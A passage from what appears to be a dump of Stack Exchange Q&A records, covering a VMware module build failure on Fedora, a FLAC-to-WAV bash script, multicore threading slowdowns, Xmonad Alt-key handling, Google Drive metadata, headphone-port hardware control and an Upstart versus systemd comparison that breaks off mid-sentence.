directory.2016-09-11T11:32:52.140-05:00| vthread-4| I125: PREF Optional preferences file not found at /root/.vmware/config. Using default values.2016-09-11T11:32:52.140-05:00| vthread-4| I125: PREF Unable to check permissions for preferences file.2016-09-11T11:32:52.140-05:00| vthread-4| I125: DictionaryLoad: Cannot open file /root/.vmware/preferences: No such file or directory.2016-09-11T11:32:52.140-05:00| vthread-4| I125: PREF Failed to load user preferences.2016-09-11T11:32:52.155-05:00| vthread-4| W115: Logging to /tmp/vmware-root/vmware-14992.log2016-09-11T11:32:52.159-05:00| vthread-4| I125: Obtaining info using the running kernel.2016-09-11T11:32:52.159-05:00| vthread-4| I125: Created new pathsHash.2016-09-11T11:32:52.159-05:00| vthread-4| I125: Setting header path for 4.7.2-101.fc23.x86_64 to /lib/modules/4.7.2-101.fc23.x86_64/build/include.2016-09-11T11:32:52.159-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.159-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.159-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.159-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.165-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.165-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.275-05:00| vthread-4| I125: found symbol version file /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers2016-09-11T11:32:52.275-05:00| vthread-4| I125: Reading symbol versions from /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Read 17372 symbol versions2016-09-11T11:32:52.290-05:00| vthread-4| I125: Reading in info for the vmmon module.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Reading in info for the vmnet module.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Reading in info for the vmblock module.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Reading in info for the vmci module.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Reading in info for the vsock module.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Setting vsock to depend on vmci.2016-09-11T11:32:52.290-05:00| vthread-4| I125: Invoking modinfo on vmmon.2016-09-11T11:32:52.292-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.292-05:00| vthread-4| I125: Invoking modinfo on vmnet.2016-09-11T11:32:52.293-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.293-05:00| vthread-4| I125: Invoking modinfo on vmblock.2016-09-11T11:32:52.294-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.294-05:00| vthread-4| I125: Invoking modinfo on vmci.2016-09-11T11:32:52.296-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.296-05:00| vthread-4| I125: Invoking modinfo on vsock.2016-09-11T11:32:52.298-05:00| vthread-4| I125: /sbin/modinfo exited with status 0.2016-09-11T11:32:52.306-05:00| vthread-4| I125: to be installed: vmmon status: 02016-09-11T11:32:52.306-05:00| vthread-4| I125: to be installed: vmnet status: 02016-09-11T11:32:52.315-05:00| vthread-4| I125: Obtaining info using the running kernel.2016-09-11T11:32:52.315-05:00| vthread-4| I125: Setting header path for 4.7.2-101.fc23.x86_64 to /lib/modules/4.7.2-101.fc23.x86_64/build/include.2016-09-11T11:32:52.315-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.315-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.315-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.315-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.321-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.321-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.431-05:00| vthread-4| I125: found symbol version file /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers2016-09-11T11:32:52.431-05:00| vthread-4| I125: Reading symbol versions from /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers.2016-09-11T11:32:52.445-05:00| vthread-4| I125: Read 17372 symbol versions2016-09-11T11:32:52.446-05:00| vthread-4| I125: Kernel header path retrieved from FileEntry: /lib/modules/4.7.2-101.fc23.x86_64/build/include2016-09-11T11:32:52.446-05:00| vthread-4| I125: Update kernel header path to /lib/modules/4.7.2-101.fc23.x86_64/build/include2016-09-11T11:32:52.446-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.446-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.446-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.446-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.451-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.451-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.452-05:00| vthread-4| I125: Found compiler at /usr/bin/gcc2016-09-11T11:32:52.454-05:00| vthread-4| I125: Got gcc version 5.3.1.2016-09-11T11:32:52.454-05:00| vthread-4| I125: The GCC version matches the kernel GCC minor version like a glove.2016-09-11T11:32:52.454-05:00| vthread-4| I125: Using user supplied compiler /usr/bin/gcc.2016-09-11T11:32:52.457-05:00| vthread-4| I125: Got gcc version 5.3.1.2016-09-11T11:32:52.457-05:00| vthread-4| I125: The GCC version matches the kernel GCC minor version like a glove.2016-09-11T11:32:52.458-05:00| vthread-4| I125: Trying to find a suitable PBM set for kernel 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.458-05:00| vthread-4| I125: No matching PBM set was found for kernel 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.458-05:00| vthread-4| I125: The GCC version matches the kernel GCC minor version like a glove.2016-09-11T11:32:52.458-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.458-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.458-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.458-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.464-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.464-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.465-05:00| vthread-4| I125: The GCC version matches the kernel GCC minor version like a glove.2016-09-11T11:32:52.465-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.465-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.465-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.465-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.470-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.470-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.470-05:00| vthread-4| I125: Using temp dir /tmp.2016-09-11T11:32:52.471-05:00| vthread-4| I125: Obtaining info using the running kernel.2016-09-11T11:32:52.471-05:00| vthread-4| I125: Setting header path for 4.7.2-101.fc23.x86_64 to /lib/modules/4.7.2-101.fc23.x86_64/build/include.2016-09-11T11:32:52.471-05:00| vthread-4| I125: Validating path /lib/modules/4.7.2-101.fc23.x86_64/build/include for kernel release 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.471-05:00| vthread-4| I125: Failed to find /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h2016-09-11T11:32:52.471-05:00| vthread-4| I125: /lib/modules/4.7.2-101.fc23.x86_64/build/include/linux/version.h not found, looking for generated/uapi/linux/version.h instead.2016-09-11T11:32:52.471-05:00| vthread-4| I125: using /usr/bin/gcc for preprocess check2016-09-11T11:32:52.476-05:00| vthread-4| I125: Preprocessed UTS_RELEASE, got value 4.7.2-101.fc23.x86_64.2016-09-11T11:32:52.476-05:00| vthread-4| I125: The header path /lib/modules/4.7.2-101.fc23.x86_64/build/include for the kernel 4.7.2-101.fc23.x86_64 is valid.  Whoohoo!2016-09-11T11:32:52.586-05:00| vthread-4| I125: found symbol version file /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers2016-09-11T11:32:52.586-05:00| vthread-4| I125: Reading symbol versions from /lib/modules/4.7.2-101.fc23.x86_64/build/Module.symvers.2016-09-11T11:32:52.600-05:00| vthread-4| I125: Read 17372 symbol versions2016-09-11T11:32:52.600-05:00| vthread-4| I125: Invoking modinfo on vmmon.2016-09-11T11:32:52.602-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.602-05:00| vthread-4| I125: Invoking modinfo on vmnet.2016-09-11T11:32:52.604-05:00| vthread-4| I125: /sbin/modinfo exited with status 256.2016-09-11T11:32:52.692-05:00| vthread-4| I125: Setting destination path for vmmon to /lib/modules/4.7.2-101.fc23.x86_64/misc/vmmon.ko.2016-09-11T11:32:52.692-05:00| vthread-4| I125: Extracting the vmmon source from /usr/lib/vmware/modules/source/vmmon.tar.2016-09-11T11:32:52.699-05:00| vthread-4| I125: Successfully extracted the vmmon source.2016-09-11T11:32:52.699-05:00| vthread-4| I125: Building module with command /usr/bin/make -j4 -C /tmp/modconfig-gLvcSL/vmmon-only auto-build HEADER_DIR=/lib/modules/4.7.2-101.fc23.x86_64/build/include CC=/usr/bin/gcc IS_GCC_3=no2016-09-11T11:32:54.104-05:00| vthread-4| W115: Failed to build vmmon.  Failed to execute the build command.2016-09-11T11:32:54.105-05:00| vthread-4| I125: Setting destination path for vmnet to /lib/modules/4.7.2-101.fc23.x86_64/misc/vmnet.ko.2016-09-11T11:32:54.105-05:00| vthread-4| I125: Extracting the vmnet source from /usr/lib/vmware/modules/source/vmnet.tar.2016-09-11T11:32:54.108-05:00| vthread-4| I125: Successfully extracted the vmnet source.2016-09-11T11:32:54.108-05:00| vthread-4| I125: Building module with command /usr/bin/make -j4 -C /tmp/modconfig-gLvcSL/vmnet-only auto-build HEADER_DIR=/lib/modules/4.7.2-101.fc23.x86_64/build/include CC=/usr/bin/gcc IS_GCC_3=no2016-09-11T11:32:55.414-05:00| vthread-4| W115: Failed to build vmnet.  Failed to execute the build command. "  , "title": "Problem with VMware Workstation 12. on Fedora 23"  , "tags": "fedora;vmware"  } 
{  "id": "_unix.341436"  , "question": "I have the following script  #!/bin/bashfor dir in /home/marius/data/LibriSpeech/train-clean-100/*/*do    for file in $dir/*    do        if [[ -f $file ]]            then            $name=$(echo $filename | cut -f 1 -d '.')            ffmpeg -i $file $name.wav            rm $file         fidonedoneBasically I want to descend 2 subdirectories deep in the train-clean-100 folder and change all .flac files to .wav, then delete the .flac files. Somehow this is not working. "  , "title": "A script to convert flac files to wav is not working"  , "tags": "bash;shell script"  , "accepted_answer": "As ridgy said, I suggest using find to get the files you want to convert:#!/bin/bashfolder=/home/marius/data/LibriSpeech/train-clean-100for file in $(find $folder -type f -iname *.flac)do    name=$(basename $file .flac)    dir=$(dirname $file)    echo ffmpeg -i $file $dir/$name.wav    #ffmpeg -i $file $dir/$name.wav    #rm $filedoneAlso use quotes when expanding variables for possible problems with whitespaces, and for this kinds of scripts check with echo if it does what you want before executing."  } 
{  "id": "_cs.76966"  , "question": "This question is about modern CPU architectures and multi-threading. I'm mainly interested in personal computers or servers having 2, 4, 8, 16... cores like for example an Intel core i7. I mean not a NASA supercomputer or GPU vector processing.You have N cores.You write an algorithm in a low level language such as C, C++, Java, C#... using essentially arithmetic (+/x/and/or...), basic for loops, floating point and arrays. It is mono threaded and your algorithm takes say 1 minute to complete.Now you start N threads, and run the same algorithm on each of these threads INDEPENDENTLY : no lock (semaphores) or write access to common objects. Does each thread take 1 minute to complete, so that the total running time is 1 minute ?What prevents this from being as good as it ? I know for example that if the threads write on the same parts of the memory (even without needing locks), the CPU caches of each processor need to refresh and the whole thing can be slowed down a lot.Do you know some of the classical cases where the situation might be significantly different from each thread one minute and explain what about the architecture causes this ?Note : Intel (for example) often uses hyperthreading so that 4 cores appear to be 8 logical processors. I don't want to focus on hyperthreading and I would like to simplify my question as if hyperthreading didn't exist. Imagine that each core can process the instructions of a single thread at a time.I'm of course interested by things I might not be aware of in modern CPU architecture."  , "title": "Multi-threading : N cores = N times one core?"  , "tags": "computer architecture;cpu;threads"  , "accepted_answer": "If I understood your question correctly, you are essentially asking:Given a piece of sequential code, if we run N instances of it in parallel on N cores (on real, modern, typical, and not-particularly-high-end CPU models), should we expect any slowdown versus running only a single instance of that program on a single core?As usual, the answer is: it depends. However, the answer will often be yes indeed, you should expect a slowdown. It will often take more than one minute per instance.How and why? Intuitively, since you've got shared (and limited) resources, your threads will naturally compete for them.For instance, main memory will be shared. Thus, if your program is bandwidth-bound (which is very common across many applications), few threads can easily fully saturate your limited memory bandwidth (essentially, they can request data from memory at a faster pace than your hardware can support) and you may notice degradation in performance (given your one minute measure) beyond that limit. You may want to look up the bandwidth-wall problem. For another similar instance, many modern CPU models will have a shared last-level cache per chip/socket. These (typically L3) caches will often provide significantly higher bandwidth and lower latency for any thread (on the chip) accessing any cached data, in comparison to directly accessing main memory. Once threads start competing for this shared resource, the total working set size of all thread may exceed the cache capacity -- even though a single thread was running within cache. They effectively thrash the cache for each other.You may want to contrast these cases to the case where the program is compute-bound and CPU-intensive yet can work with high locality in the smaller, private (i.e., not shared) caches. There are probably non-memory-hierarchy reasons as well (unlike the two above), although the reasons above are perhaps among the most obvious and most significant (or, at least, that is what I would expect)."  } 
{  "id": "_unix.238877"  , "question": "I have an application that utilizes ALT_R+ENTER to perform a function. When using this application in Xmonad, the combination Mod1+ENTER triggers the function swap the current window with the master window. By default, ALT_L and ALT_R are mapped to Mod1.In my .xinitrc, before I start Xmonad, I've altered my key map with xmodmap such that ALT_R is not part of the Mod1 definition. Despite this, Xmonad still performs the window swapping behavior when entering ALT_R+ENTER. Xmonad seems to be unaware that Mod1 no longer includes ALT_R.Here is my .xinitrc# Java's GUI can't handle some non-reparenting window managers like# Xmonad without being told how to behaveexport _JAVA_AWT_WM_NONREPARENTING=1# The right Alt key is useful in IntelliJ, tell Xmonad to ignore itxmodmap ~/.Xmodmap# Start XmonadxmonadHere is the output of xmodmap after Xmonad starts.xmodmap:  up to 4 keys per modifier, (keycodes in parentheses):shift       Shift_L (0x32),  Shift_R (0x3e)lock        Caps_Lock (0x42)control     Control_L (0x25),  Control_R (0x69)mod1        Alt_L (0x40),  Meta_L (0xcd)mod2        Num_Lock (0x4d)mod3      mod4        Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)mod5        ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)I've recorded the sequence with xev and confirmed that the ENTER is never registered. Instead, several FocusIn/FocusOut events occur after the ALT_R is recorded.KeyPress event, serial 32, synthetic NO, window 0x1200001,    root 0xc0, subw 0x0, time 1432589, (92,374), root:(93,375),    state 0x0, keycode 108 (keysym 0xffea, Alt_R), same_screen YES,    XLookupString gives 0 bytes:     XmbLookupString gives 0 bytes:     XFilterEvent returns: FalseFocusOut event, serial 32, synthetic NO, window 0x1200001,    mode NotifyGrab, detail NotifyAncestorPropertyNotify event, serial 32, synthetic NO, window 0x1200001,    atom 0x155 (WM_STATE), time 1433760, state PropertyNewValueFocusOut event, serial 32, synthetic NO, window 0x1200001,    mode NotifyUngrab, detail NotifyPointerFocusIn event, serial 32, synthetic NO, window 0x1200001,    mode NotifyUngrab, detail NotifyAncestorKeymapNotify event, serial 32, synthetic NO, window 0x0,    keys:  0   0   0   0   0   0   0   0   0   0   0   0   0   16  0   0              0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   KeyRelease event, serial 32, synthetic NO, window 0x1200001,    root 0xc0, subw 0x0, time 1434117, (92,374), root:(93,375),    state 0x8, keycode 108 (keysym 0xffea, Alt_R), same_screen YES,    XLookupString gives 0 bytes:     XFilterEvent returns: FalseAnother interesting observation is that xev reports the state of each key event as 8, regardless of whether ALT_L or ALT_R is being pressed. The constant Mod1Mask in /usr/include/X11/X.h is defined as 8. The following sequence is ALT_L+f followed by ALT_R+f.KeyPress event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4126632, (85,488), root:(86,489),    state 0x0, keycode 64 (keysym 0xffe9, Alt_L), same_screen YES,    XLookupString gives 0 bytes:     XmbLookupString gives 0 bytes:     XFilterEvent returns: FalseKeyPress event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4126850, (85,488), root:(86,489),    state 0x8, keycode 41 (keysym 0x66, f), same_screen YES,    XLookupString gives 1 bytes: (66) f    XmbLookupString gives 1 bytes: (66) f    XFilterEvent returns: FalseKeyRelease event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4126930, (85,488), root:(86,489),    state 0x8, keycode 64 (keysym 0xffe9, Alt_L), same_screen YES,    XLookupString gives 0 bytes:     XFilterEvent returns: FalseKeyRelease event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4126969, (85,488), root:(86,489),    state 0x0, keycode 41 (keysym 0x66, f), same_screen YES,    XLookupString gives 1 bytes: (66) f    XFilterEvent returns: FalseKeyPress event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4127907, (85,488), root:(86,489),    state 0x0, keycode 108 (keysym 0xffea, Alt_R), same_screen YES,    XLookupString gives 0 bytes:     XmbLookupString gives 0 bytes:     XFilterEvent returns: FalseKeyPress event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4128123, (85,488), root:(86,489),    state 0x8, keycode 41 (keysym 0x66, f), same_screen YES,    XLookupString gives 1 bytes: (66) f    XmbLookupString gives 1 bytes: (66) f    XFilterEvent returns: FalseKeyRelease event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4128164, (85,488), root:(86,489),    state 0x8, keycode 108 (keysym 0xffea, Alt_R), same_screen YES,    XLookupString gives 0 bytes:     XFilterEvent returns: FalseKeyRelease event, serial 32, synthetic NO, window 0x1000001,    root 0xc0, subw 0x0, time 4128203, (85,488), root:(86,489),    state 0x0, keycode 41 (keysym 0x66, f), same_screen YES,    XLookupString gives 1 bytes: (66) f    XFilterEvent returns: FalseSo the question now becomes, if xmodmask says that ALT_R is not mod1, why is X reporting ALT_R+f as if it was?"  , "title": "Can Xmonad treat left and right alt differently?"  , "tags": "keyboard shortcuts;xmodmap;xmonad"  , "accepted_answer": "The reason Xmonad is treating ALT_R+ENTER as if it was mod1+ENTER is because X is setting the mod1Mask bit in the state field of the KeyEvent, as shown in the xev output in the question. Xmonad is unaware that ALT_R is the key being pressed because X tells it that ENTER was pressed with state = mod1Mask.Why X is not respecting xmodmap is a separate question, asked here:Why isn't X treating ALT_L and ALT_R differently w/r/t Mod1"  } 
{  "id": "_ai.2404"  , "question": "A single neuron is capable of forming a decision boundary between linearly seperable data. Is there any intuition as to how many, and in what configuration, would be necessary to correctly approximate a sinusoidal decision boundary?Thanks"  , "title": "How many nodes/hidden layers are required to solve a classification problem where the boundary is a sinusoidal function?"  , "tags": "neural networks;hidden layers;neurons;artificial neuron"  } 
{  "id": "_webapps.79388"  , "question": "If you add descriptions to images in Google Drive and then download those images, the descriptions are not attached anywhere in the image properties/metadata. Is there a way prevent this or are the descriptions stored externally to the image, as opposed to as metadata (IPTC, XMP, EXIF)?"  , "title": "Images downloaded from Google Drive lose their description"  , "tags": "google drive"  , "accepted_answer": "Google Drive user interface doesn't have a built-in way to view or edit IPTC, XMP, EXIF metadata. As far as I know, Drive SDK has method to get the image metadata but not to change it.ReferencesDrive HelpFiles - Drive REST API"  } 
{  "id": "_unix.6007"  , "question": "This might sound crazy, but bear with me ;)I am making a DIY camera trigger, and I would like to see if I can trigger it remotely by plugging it into my Microphone or Headphone ports. It's a basic 2.5 mm --> 3.5 mm plug, and all I need to do is short the first and last, first and second, and all three to focus, trigger, and focus and trigger.It's a bit hard to explain, but is it possible to send electrical signals directly through those ports? I'm up to some C++ or Python (heh) if I have to..."  , "title": "Linux: Interface/control 3.5 mm Headphone or Microphone port?"  , "tags": "hardware;camera"  , "accepted_answer": "You can use the audio port to create a time-varied differential voltage signal. You can't short the contacts together, though. In fact, you might even damage the dac in your computer if you connected it since doing that would force the dac outputs to whatever voltage level the hotshoe is.If you really want to do this, you might want to use a USB gpio board (like this one) and make a circuit that shorts your contacts. The folks at Chiphacker (aka Electronics & Robotics) would be able to help you with any questions about that."  } 
{  "id": "_unix.5877"  , "question": "It appears systemd is the hot new init system on the block, same as Upstart was a few years ago. What are the pros/cons for each? Also,  how does each compare to other init systems?"  , "title": "What are the pros/cons of Upstart and systemd?"  , "tags": "init;upstart;systemd"  , "accepted_answer": "2016 UpdateMost answers here are five years old so it's time for some updates.Ubuntu used to use upstart by default but they abandoned it last year in favor of systemd - see:Grab your pitchforks: Ubuntu to switch to systemd on Monday (The Register)Because of that there is a nice article Systemd for Upstart Users on Ubuntu wiki - very detailed comparison between upstart and systemd and a transition guide from upstart to systemd.(Note that according to the Ubuntu wiki you can still run upstart on current versions of Ubuntu by default by installing the upstart-sysv and running sudo update-initramfs -u but considering the scope of the systemd project I don't know how it works in practice, or whether or not systemd is possible to uninstall.)Most of the info in the Commands and Scripts sections below is adapted from some of the examples used in that article (that is conveniently licensed just like Stack Exchange user contributions under the Creative Commons Attribution-ShareAlike 3.0 License).Here is a quick comparison of common commands and simple scripts, see sections below for detailed explanation. This answer is comparing the old behavior of Upstart-based systems with the new behavior of systemd-based systems, as asked in the question, but note that the commands tagged as Upstart are not necessarily Upstart-specific - they are often commands that are common to every non-systemd Linux and Unix system. CommandsRunning su:upstart: susystemd: machinectl shell(see su command replacement section below)Running screen:upstart: screensystemd: systemd-run --user --scope screen(see Unexpected killing of background processes section below)Running tmux:upstart: tmuxsystemd: systemd-run --user --scope tmux(see Unexpected killing of background processes section below)Starting job foo:upstart: start foosystemd: systemctl start fooStopping job foo:upstart: stop foosystemd: systemctl stop fooRestarting job foo:upstart: restart foosystemd: systemctl restart fooListing jobs:upstart: initctl listsystemd: systemctl statusChecking configuration of job foo:upstart: init-checkconf /etc/init/foo.confsystemd: systemd-analyze verify /lib/systemd/system/foo.serviceListing job's environement variables:upstart: initctl list-envsystemd: systemctl show-environmentSetting job's environment variable:upstart: initctl set-env foo=barsystemd: systemctl set-environment foo=barRemoving job's environment variable:upstart: initctl unset-env foosystemd: systemctl unset-environment fooLogsIn upstart, the logs are normal text files in the /var/log/upstart directory, so you can process them as usual:cat /var/log/upstart/foo.logtail -f /var/log/upstart/foo.logIn systemd logs are stored in an internal binary format (not as text files) so you need to use journalctl command to access them:sudo journalctl -u foosudo journalctl -u foo -fScriptsExample upstart script written in /etc/init/foo.conf:description Job that runs the foo daemonstart on runlevel [2345]stop on runlevel [016]env statedir=/var/cache/foopre-start exec mkdir -p $statedirexec /usr/bin/foo-daemon --arg1 hello world --statedir $statedirExample systemd script written in /lib/systemd/system/foo.service:[Unit]Description=Job that runs the foo daemonDocumentation=man:foo(1)[Service]Type=forkingEnvironment=statedir=/var/cache/fooExecStartPre=/usr/bin/mkdir -p ${statedir}ExecStart=/usr/bin/foo-daemon --arg1 hello world --statedir ${statedir}[Install]WantedBy=multi-user.targetsu command replacementA su command replacement was merged into systemd in pull request #1022:Add new machinectl shell command for su(1)-like behaviourbecause, according to Lennart Poettering, su is really a broken concept.He explains that you can use su and sudo as before, but don't expect that it will work in full.The official way to achieve a su-like behavior is now:machinectl shellIt has been furtherexplained by Lennart Poetteringin the discussion to issue #825:Well, there have been long discussions about this, but the problem is  that what su is supposed to do is very unclear. [...]  Long story short:  su is really a broken concept. It will given you  kind of a shell, and its fine to use it for that, but its not a full  login, and shouldnt be mistaken for one. - Lennart PoetteringSee also:Lennart Poettering merged su command replacement into systemd: Test Drive on Fedora RawhideSystemd Absorbs su Command FunctionalitySystemd Absorbs su (Hacker News)Unexpected killing of background processesCommands like:screentmuxnohupno longer work as expected. For example, nohup is a POSIX command to make sure that the process keeps running after you log out from your session. It no longer works on systemd. Also programs like screen and tmux need to be invoked in a special way or otherwise the processes that you run with them will get killed (while not getting those processes killed is usually the main reason of running screen or tmux in the first place).This is not a mistake, it is a deliberate decision, so it is not likely to get fixed in the future. This is what Lennart Poettering has said about this issue:In my view it was actually quite strange of UNIX that it by default let arbitrary user code stay around unrestricted after logout. It has been discussed for ages now among many OS people, that this should possible but certainly not be the default, but nobody dared so far to flip the switch to turn it from a default to an option. Not cleaning up user sessions after logout is not only ugly and somewhat hackish but also a security problem.  systemd 230 now finally flipped the switch and finally by default cleans everything up correctly when the user logs out.For more info see:Systemd Starts Killing Your Background Processes By DefaultSystemd v230 kills background processes after user logs out, breaks screen, tmuxDebian Bug #825394: systemd kill background processes after user logs outHigh-level startup conceptIn a way systemd works backwards - in upstart jobs start as soon as they can and in systemd jobs start when they have to. At the end of the day the same jobs can be started by both systems and in pretty much the same order, but you think about it looking from an opposite direction so to speak.Here is how Systemd for Upstart Users explains it:Upstart's model for starting processes (jobs) is greedy event-based, i. e. all available jobs whose startup events happen are  started as early as possible. During boot, upstart synthesizes some  initial events like startup or rcS as the tree root, the early  services start on those, and later services start when the former are  running. A new job merely needs to install its configuration file into  /etc/init/ to become active.systemd's model for starting processes (units) is lazy dependency-based, i. e. a unit will only start if and when some other  starting unit depends on it. During boot, systemd starts a root unit  (default.target, can be overridden in grub), which then transitively  expands and starts its dependencies. A new unit needs to add itself as  a dependency of a unit of the boot sequence (commonly  multi-user.target) in order to become active.Usage in distributionsNow some recent data according to Wikipedia:Distributions using upstart by default:Ubuntu (from 9.10 to 14.10)Chrome OSChromium OSDistributions using systemd by default:Arch Linux - since October 2012CentOS - since April 2014 (7.14.04)CoreOS - sice October 2013 (v94.0.0)Debian - since April 2015 (v8)Fedora - since May 2011 (v15)Mageia - since May 2012 (v2.0)openSUSE - since September 2012 (v12.2)Red Hat Enterprise Linux - since June 2014 (v7.0)SUSE Linux Enterprise Server - since October 2014 (v12)Ubuntu - since April 2015 (v15.04)(See Wikipedia for up to date info)Distributions using neither Upstart nor systemd:Devuan (Debian fork created that resulted from the systemd controversies in the Debian community that led to a resignation of Ian Jackson) -  specifically promotes Init Freedom with the following init systems considered for inclusion: sinit, OpenRC, runit, s6 and shepherd.Void Linux - uses runit as the init system and service supervisorGentoo - uses OpenRCOS X - uses launchdFreeBSD uses a a traditional BSD-style init (not SysV init)NetBSD uses rc.dDragonFly uses traditional initOpenBSD uses the rc system startup script described hereAlpine Linux (relatively new and little known distribution, with strong emphasis on security is getting more popular - e.g. Docker is moving its official images from Ubuntu to Alpine) uses the OpenRC init system ControversyIn the past A fork of Debian has been proposed to avoid systemd. The Devuan GNU+Linux was created - a fork of Debian without systemd (thanks to fpmurphy1 for pointing it out in the comments).For more info about this controversy, see:The official Debian position on systemdThe systemd controversyDebian Exodus declaration in 2014:As many of you might know already, the Init GR Debian vote promoted by  Ian  Jackson wasn't useful to protect Debian's legacy and its users  from the  systemd avalanche.This situation prospects a lock in systemd dependencies which is  de-facto  threatening freedom of development and has serious  consequences for Debian,  its upstream and its downstream.The CTTE managed to swap a dependency and gain us time over a subtle  install  of systemd over sysvinit, but even this process was  exhausting and full of  drama. Ultimately, a week ago, Ian Jackson  resigned. [...]Ian Jackson's resignation:I am resigning from the Technical Committee with immediate effect.While it is important that the views of the 30-40% of the project who  agree with me should continue to be represented on the TC, I myself am  clearly too controversial a figure at this point to do so.  I should  step aside to try to reduce the extent to which conversations about  the project's governance are personalised. [...]The Init Freedom:Devuan was born out of a controversy over the decision to use as the  default init system for Debian. The official Debian position on  systemd is full of claims that others have debunked. Interested  readers can continue discussing this hot topic in The systemd  controversy. However we encourage you to keep your head cool and your  voice civil. At Devuan were more interested in programming them wrong  than looking back. [...]Some websites and articles dedicated to the systemd 